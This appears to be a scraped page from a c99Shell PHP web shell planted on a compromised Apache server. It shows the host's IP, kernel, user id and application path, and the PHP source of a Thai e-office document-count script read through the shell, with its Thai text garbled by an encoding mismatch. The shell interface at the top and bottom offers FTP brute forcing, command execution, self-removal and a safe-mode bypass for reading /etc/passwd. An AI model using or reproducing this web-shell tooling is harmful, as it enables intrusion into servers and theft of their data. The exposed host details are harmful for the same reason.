110.164.51.230 - phpshell

!c99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 EDT 2010 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/mistk/mistk/eoffice/admin/ drwxr-xr-x Free 50.9 GB of 127.8 GB (39.82%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

<?php

    include_once("../../class/clsConnection.php");
    include_once("../../class/clsDB.php");
    include_once "../global.php";
    include_once "../class/clsDocReceiveSend.php";
    include_once "../class/clsDocuments.php";
    include_once "../class/clsDepartment.php";
    include_once "../class/clsDocLinePosition.php";
    include_once "../class/clsDocLineConfig.php";
    include_once "../link/keyThai.php";
    include_once "../class/clsDocForSign.php";
    
    $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);
    $oRs = new DocReceiveSend($oC);
    $oRs2 = new DocReceiveSend($oC);
    $oDoc = new Documents($oC);
    $oDoc2 = new Documents($oC);
    $oDP = new Department($oC);
    $oDlp = new docLinePosition($oC);
    $oDlp2 = new docLinePosition($oC);
    $oDlp3 = new docLinePosition($oC);
    $oDlp4 = new docLinePosition($oC);
    $oDlc = new docLineConfig($oC);
    $oDlc1 = new docLineConfig($oC);
    $oDlc2 = new docLineConfig($oC);
    $oDlc3 = new docLineConfig($oC);
    $oDlp1 = new docLinePosition($oC);
    $oDoc3 = new Documents($oC);
    $Maxgroup=$oDP->SearchMaxDocGroup();
    $oDfs = new DocForSign($oC);
    
if($flagshowvalue==1){
?>
<html><title>ГРєєКТГєГГі</title>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<br>
<table width="100%" border="0" cellpadding="2" cellspacing="2">
<tr><td><img src="../picture/alert.gif">&nbsp;<font size="3" color="#FFCC66"><strong>ГРєєКТГєГГі</strong></font><br><hr color="#000099"></td></tr>
<? 
}    
    $i=0;
    $oRs2->SearchBypersonIdDocGroupDsID0($personId,$Maxgroup); 
    $i = $oRs2->NumRow();
    $countdoc=$countdoc+$i;
    if($flagshowvalue==1){
            if($i!="0"){
        ?>
            <tr><td><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong>јЩйгЄй·СиЗд» ::</strong></font></td></tr>
            <tr><td>&nbsp;&nbsp; БХГТВЎТГЛ№С§КЧНаўйТ·ХиВС§дБидґйа»ФґНиТ№&nbsp;<? echo a2th($i);?>&nbsp;ГТВЎТГ</td></tr>
        <?
            }
    }
    
    
    $oDlp->SearchByGpID(107);
    while($oDlp->GetRecord()){
            $oDlc->SearchByPsPositionDlpIDActiveY($personId,$oDlp->DlpID,$Maxgroup);
            while($oDlc->GetRecord()){
                        $oDlp1->SearchByKey($oDlc->DlpID);
                        $oDlp1->GetRecord();
                        $oDP->SearchByKey($oDlc->deptId);
                        $oDP->GetRecord(); 

                        $oDlc2->SearchByKey($oDlc->DlcID); $oDlc2->GetRecord(); 
                        $oDlp1->SearchByKey($oDlc->DlpID);  $oDlp1->GetRecord();
                        if($oDlp1->DlpPID!="0"){ 
                            $DlcPS2=$oDlc3->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                         }else{
                            $DlcPS2=$oDlc3->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                        }
                        $oDoc->SearchByDlcIDDocGroupPSDlcID2DsID0DrsSendDate($oDlc2->DlcID,$Maxgroup,$DlcPS2);
                        $i=0;
                        $i = $oDoc->NumRow();
                        $countdoc=$countdoc+$i;
                        if($flagshowvalue==1){
                                if($i!="0"){
                                        ?>
                                            <tr><td><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong>аЁйТЛ№йТ·ХиКТГєГГі ::</strong></font></td></tr>
                                            <tr><td><? echo "&nbsp;&nbsp;&nbsp;- ".$oDlp1->DlpName;?>&nbsp;<? echo "(".$oDP->deptName.")"; ?></td></tr>
                                            <tr><td>&nbsp;&nbsp; БХГТВЎТГЛ№С§КЧНаўйТ&nbsp;<? echo a2th($i);?>&nbsp;ГТВЎТГ</td></tr>
                                        <?
                                }
                        }
                        
                        $oRs->SearchByDlcIDDocGroupDrsSendBackDrsSendBackDlcID($oDlc2->DlcID,$Maxgroup,$DlcPS2);
                        $j=0;
                        $j = $oRs->NumRow();
                        $countdoc=$countdoc+$j;
                        if($flagshowvalue==1){
                                if($j!="0"){
                                            if($i=="0"){ 
                                        ?>
                                            <tr><td><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong>аЁйТЛ№йТ·ХиКТГєГГі ::</strong></font></td></tr>
                                            <tr><td><? echo "&nbsp;&nbsp;&nbsp;- ".$oDlp1->DlpName;?>&nbsp;<? echo "(".$oDP->deptName.")"; ?></td></tr>
                                        <? } ?>
                                            <tr><td>&nbsp;&nbsp; БХГТВЎТГЛ№С§КЧНбЁй§ЎТГКи§јФґ&nbsp;<? echo a2th($j);?>&nbsp;ГТВЎТГ</td></tr>
                                        <?
                                }
                        }
    
                        $oDoc3->SearchByDlcIDDocGroupPSDlcID2DsID3DrsSendDateDrsSEndnotY2($oDlc2->DlcID,$Maxgroup,$DlcPS2,$oDlc2->DlcID);
                        $k=0;
                        $k = $oDoc3->NumRow();
                        $countdoc=$countdoc+$k;
                        if($flagshowvalue==1){
                                if($k!="0"){
                                            if($i=="0" && $j=="0"){ 
                                        ?>
                                            <tr><td><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong>аЁйТЛ№йТ·ХиКТГєГГі ::</strong></font></td></tr>
                                            <tr><td><? echo "&nbsp;&nbsp;&nbsp;- ".$oDlp1->DlpName;?>&nbsp;<? echo "(".$oDP->deptName.")"; ?></td></tr>
                                        <? } ?>
                                                <tr><td>&nbsp;&nbsp; БХГТВЎТГЛ№С§КЧНЕ§№ТБбЕйЗГНКи§&nbsp;<? echo a2th($k);?>&nbsp;ГТВЎТГ</td></tr>
                                        <?
                                }
                        }    
//-----------------------------------new

                        $oDfs->SearchDlcIDstatusNoGet($oDlc2->DlcID,$Maxgroup,$DlcPS2);
                        $l=0;
                        $l = $oDfs->NumRow();
                        
                        $countdoc=$countdoc+$l;
                        if($flagshowvalue==1){
                                if($l!="0"){
                                            if($i=="0" && $j=="0"){ 
                                        ?>
                                            <tr><td><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong>аЁйТЛ№йТ·ХиКТГєГГі ::</strong></font></td></tr>
                                            <tr><td><? echo "&nbsp;&nbsp;&nbsp;- ".$oDlp1->DlpName;?>&nbsp;<? echo "(".$oDP->deptName.")"; ?></td></tr>
                                        <? } ?>
                                                <tr><td>&nbsp;&nbsp; БХГТВЎТГЛ№С§КЧНаК№НЕ§№ТБбЕйЗГНГСєЛ№С§КЧН&nbsp;<? echo a2th($l);?>&nbsp;ГТВЎТГ</td></tr>
                                        <?
                                }
                        }

//-------------------------------------------

                                
                        
            }
    }
    

    $oDlp2->SearchByGpID(110);
    while($oDlp2->GetRecord()){
            $oDlc2->SearchByPsPositionDlpIDActiveY($personId,$oDlp2->DlpID,$Maxgroup);
            while($oDlc2->GetRecord()){
                        $oDlp1->SearchByKey($oDlc2->DlpID);
                        $oDlp1->GetRecord();
                        $oDP->SearchByKey($oDlc2->deptId);
                        $oDP->GetRecord(); 
                        
                                $oDlc->SearchByKey($oDlc2->DlcID); $oDlc->GetRecord();
                                $oDlp1->SearchByKey($oDlc->DlpID);  $oDlp1->GetRecord();
                                if($oDlp1->DlpPID!="0"){ 
                                    //$DlcPS2=$oDlc2->DlcID;
                                    $DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                                    $oDoc->SearchByDocGroupDsID2DocIDDlcIDDrsReceiveDlcID2Status2forwsign($Maxgroup,$oDlc2->DlcID,$DlcPS2);
                                }else{
                                    $DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                                    $oDoc->SearchByDocGroupDsID2DocIDDlcIDDrsReceiveDlcID2Status2($Maxgroup,$oDlc2->DlcID,$DlcPS2);
                                }
                                
                                $i=0;
                                $i = $oDoc->NumRow();
                                $countdoc=$countdoc+$i;
                                if($flagshowvalue==1){
                                    if($i!="0"){
                                    ?>
                                        <tr><td><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong>ЛСЗЛ№йТКТГєГГі ::</strong></font></td></tr>
                                        <tr><td><? echo "&nbsp;&nbsp;&nbsp;- ".$oDlp1->DlpName;?>&nbsp;<? echo "(".$oDP->deptName.")"; ?></td></tr>
                                        <tr><td>&nbsp;&nbsp; БХГТВЎТГЛ№С§КЧН·ХиВС§дБидґйЕ§№ТБ&nbsp;<? echo a2th($i);?>&nbsp;ГТВЎТГ</td></tr>
                                    <?
                                    }
                                }
                                
                                
                                $oRs->SearchByDlcIDDocGroupDrsSendBackDrsSendBackDlcID($oDlc2->DlcID,$Maxgroup,$DlcPS2);
                                $j=0;
                                $j = $oRs->NumRow();
                                $countdoc=$countdoc+$j;
                                if($flagshowvalue==1){
                                        if($j!="0"){
                                                    if($i=="0"){ 
                                                ?>
                                                <tr><td><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong>ЛСЗЛ№йТКТГєГГі ::</strong></font></td></tr>
                                                <tr><td><? echo "&nbsp;&nbsp;&nbsp;- ".$oDlp1->DlpName;?>&nbsp;<? echo "(".$oDP->deptName.")"; ?></td></tr>
                                                <? } ?>
                                                    <tr><td>&nbsp;&nbsp; БХГТВЎТГЛ№С§КЧНбЁй§ЎТГКи§јФґ&nbsp;<? echo a2th($j);?>&nbsp;ГТВЎТГ</td></tr>
                                                <?
                                        }
                                }                                
                                
                                
            }
    }

    

    $oDlp3->SearchByGpID(111);
    while($oDlp3->GetRecord()){
            $oDlc2->SearchByPsPositionDlpIDActiveY($personId,$oDlp3->DlpID,$Maxgroup);
            while($oDlc2->GetRecord()){
                        $oDlp1->SearchByKey($oDlc2->DlpID);
                        $oDlp1->GetRecord();
                        $oDP->SearchByKey($oDlc2->deptId);
                        $oDP->GetRecord(); 
                        
                                $oDlc->SearchByKey($oDlc2->DlcID); $oDlc->GetRecord();
                                $oDlp1->SearchByKey($oDlc->DlpID);  $oDlp1->GetRecord();
                                if($oDlp1->DlpPID!="0"){ 
                                    //$DlcPS2=$oDlc2->DlcID;
                                    $DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                                    $oDoc->SearchByDocGroupDsID2DocIDDlcIDDrsReceiveDlcID2Status2forwsign($Maxgroup,$oDlc2->DlcID,$DlcPS2);
                                }else{
                                    $DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                                    $oDoc->SearchByDocGroupDsID2DocIDDlcIDDrsReceiveDlcID2Status2($Maxgroup,$oDlc2->DlcID,$DlcPS2);
                                }
                                
                                
                                $i=0;
                                $i = $oDoc->NumRow();
                                $countdoc=$countdoc+$i;
                                if($flagshowvalue==1){
                                        if($i!="0"){
                                        ?>
                                            <tr><td><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong>ЛСЗЛ№йТЛ№иЗВ§Т№ ::</strong></font></td></tr>
                                            <tr><td><? echo "&nbsp;&nbsp;&nbsp;- ".$oDlp1->DlpName;?>&nbsp;<? echo "(".$oDP->deptName.")"; ?></td></tr>
                                            <tr><td>&nbsp;&nbsp; БХГТВЎТГЛ№С§КЧН·ХиВС§дБидґйЕ§№ТБ&nbsp;<? echo a2th($i);?>&nbsp;ГТВЎТГ</td></tr>
                                        <?
                                        }
                                }
                                
                                $oRs->SearchByDlcIDDocGroupDrsSendBackDrsSendBackDlcID($oDlc2->DlcID,$Maxgroup,$DlcPS2);
                                $j=0;
                                $j = $oRs->NumRow();
                                $countdoc=$countdoc+$j;
                                if($flagshowvalue==1){
                                        if($j!="0"){
                                                    if($i=="0"){ 
                                                ?>
                                                    <tr><td><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong>ЛСЗЛ№йТЛ№иЗВ§Т№ ::</strong></font></td></tr>
                                                    <tr><td><? echo "&nbsp;&nbsp;&nbsp;- ".$oDlp1->DlpName;?>&nbsp;<? echo "(".$oDP->deptName.")"; ?></td></tr>
                                                <? } ?>
                                                    <tr><td>&nbsp;&nbsp; БХГТВЎТГЛ№С§КЧНбЁй§ЎТГКи§јФґ&nbsp;<? echo a2th($j);?>&nbsp;ГТВЎТГ</td></tr>
                                                <?
                                        }
                                }                                
                                
                                
                                
            }
    }
    

    $oDlp4->SearchByGpID(112);
    while($oDlp4->GetRecord()){
            $oDlc2->SearchByPsPositionDlpIDActiveY($personId,$oDlp4->DlpID,$Maxgroup);
            while($oDlc2->GetRecord()){
                        $oDlp1->SearchByKey($oDlc2->DlpID);
                        $oDlp1->GetRecord();
                        $oDP->SearchByKey($oDlc2->deptId);
                        $oDP->GetRecord(); 
                        
                                $oDlc->SearchByKey($oDlc2->DlcID); $oDlc->GetRecord();
                                $oDlp1->SearchByKey($oDlc->DlpID);  $oDlp1->GetRecord();
                                if($oDlp1->DlpPID!="0"){ 
                                    //$DlcPS2=$oDlc2->DlcID;
                                    $DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                                    $oDoc->SearchByDocGroupDsID2DocIDDlcIDDrsReceiveDlcID2Status2forwsign($Maxgroup,$oDlc2->DlcID,$DlcPS2);
                                }else{
                                    $DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                                    $oDoc->SearchByDocGroupDsID2DocIDDlcIDDrsReceiveDlcID2Status2($Maxgroup,$oDlc2->DlcID,$DlcPS2);
                                }
                                
                                
                                $i=0;
                                $i = $oDoc->NumRow();
                                $countdoc=$countdoc+$i;
                                if($flagshowvalue==1){
                                    if($i!="0"){
                                    ?>
                                        <tr><td><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong>јЩйНУ№ЗВЎТГ ::</strong></font></td></tr>
                                        <tr><td><? echo "&nbsp;&nbsp;&nbsp;- ".$oDlp1->DlpName;?>&nbsp;<? echo "(".$oDP->deptName.")"; ?></td></tr>
                                        <tr><td>&nbsp;&nbsp; БХГТВЎТГЛ№С§КЧН·ХиВС§дБидґйЕ§№ТБ&nbsp;<? echo a2th($i);?>&nbsp;ГТВЎТГ</td></tr>
                                    <?
                                    }
                                }
                                
                                
                                $oRs->SearchByDlcIDDocGroupDrsSendBackDrsSendBackDlcID($oDlc2->DlcID,$Maxgroup,$DlcPS2);
                                $j=0;
                                $j = $oRs->NumRow();
                                $countdoc=$countdoc+$j;
                                if($flagshowvalue==1){
                                        if($j!="0"){
                                                    if($i=="0"){ 
                                                ?>
                                                <tr><td><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong>јЩйНУ№ЗВЎТГ ::</strong></font></td></tr>
                                                <tr><td><? echo "&nbsp;&nbsp;&nbsp;- ".$oDlp1->DlpName;?>&nbsp;<? echo "(".$oDP->deptName.")"; ?></td></tr>
                                                <? } ?>
                                                    <tr><td>&nbsp;&nbsp; БХГТВЎТГЛ№С§КЧНбЁй§ЎТГКи§јФґ&nbsp;<? echo a2th($j);?>&nbsp;ГТВЎТГ</td></tr>
                                                <?
                                        }
                                }                                
                                
                                
                                
            }
    }
    
    
    $oDlp3->SearchByGpID(115);
    while($oDlp3->GetRecord()){
            $oDlc2->SearchByPsPositionDlpIDActiveY($personId,$oDlp3->DlpID,$Maxgroup);
            while($oDlc2->GetRecord()){
                        $oDlp1->SearchByKey($oDlc2->DlpID);
                        $oDlp1->GetRecord();
                        $oDP->SearchByKey($oDlc2->deptId);
                        $oDP->GetRecord(); 
                        
                                $oDlc->SearchByKey($oDlc2->DlcID); $oDlc->GetRecord();
                                $oDlp1->SearchByKey($oDlc->DlpID);  $oDlp1->GetRecord();
                                if($oDlp1->DlpPID!="0"){ 
                                    //$DlcPS2=$oDlc2->DlcID;
                                    $DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                                    $oDoc->SearchByDocGroupDsID2DocIDDlcIDDrsReceiveDlcID2Status2forwsign($Maxgroup,$oDlc2->DlcID,$DlcPS2);
                                }else{
                                    $DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                                    $oDoc->SearchByDocGroupDsID2DocIDDlcIDDrsReceiveDlcID2Status2($Maxgroup,$oDlc2->DlcID,$DlcPS2);
                                }
                                
                                
                                $i=0;
                                $i = $oDoc->NumRow();
                                $countdoc=$countdoc+$i;
                                if($flagshowvalue==1){
                                        if($i!="0"){
                                        ?>
                                            <tr><td><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong>ГН§јЩйНУ№ЗВЎТГ ::</strong></font></td></tr>
                                            <tr><td><? echo "&nbsp;&nbsp;&nbsp;- ".$oDlp1->DlpName;?>&nbsp;<? echo "(".$oDP->deptName.")"; ?></td></tr>
                                            <tr><td>&nbsp;&nbsp; БХГТВЎТГЛ№С§КЧН·ХиВС§дБидґйЕ§№ТБ&nbsp;<? echo a2th($i);?>&nbsp;ГТВЎТГ</td></tr>
                                        <?
                                        }
                                }
                                
                                
                                $oRs->SearchByDlcIDDocGroupDrsSendBackDrsSendBackDlcID($oDlc2->DlcID,$Maxgroup,$DlcPS2);
                                $j=0;
                                $j = $oRs->NumRow();
                                $countdoc=$countdoc+$j;
                                if($flagshowvalue==1){
                                        if($j!="0"){
                                                    if($i=="0"){ 
                                                ?>
                                                <tr><td><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong>ГН§јЩйНУ№ЗВЎТГ ::</strong></font></td></tr>
                                                <tr><td><? echo "&nbsp;&nbsp;&nbsp;- ".$oDlp1->DlpName;?>&nbsp;<? echo "(".$oDP->deptName.")"; ?></td></tr>
                                                <? } ?>
                                                    <tr><td>&nbsp;&nbsp; БХГТВЎТГЛ№С§КЧНбЁй§ЎТГКи§јФґ&nbsp;<? echo a2th($j);?>&nbsp;ГТВЎТГ</td></tr>
                                                <?
                                        }
                                }                                
                                
                                
            }
    }
    
    
    
    
    if($flagshowvalue!=1){
        echo $countdoc;
    }

 if($flagshowvalue==1){ ?>
</table>
</body>
</html>
<? } ?>
:: Shadow's tricks :D ::
Useful Commands Warning. Kernel may be alerted using higher levels	Kernel Info:
:: Preddy's tricks :D ::
Php Safe-Mode Bypass (Read Files) File: eg: /etc/passwd	Php Safe-Mode Bypass (List Directories): Dir: eg: /etc/
:: Command execute ::
Enter:	Select: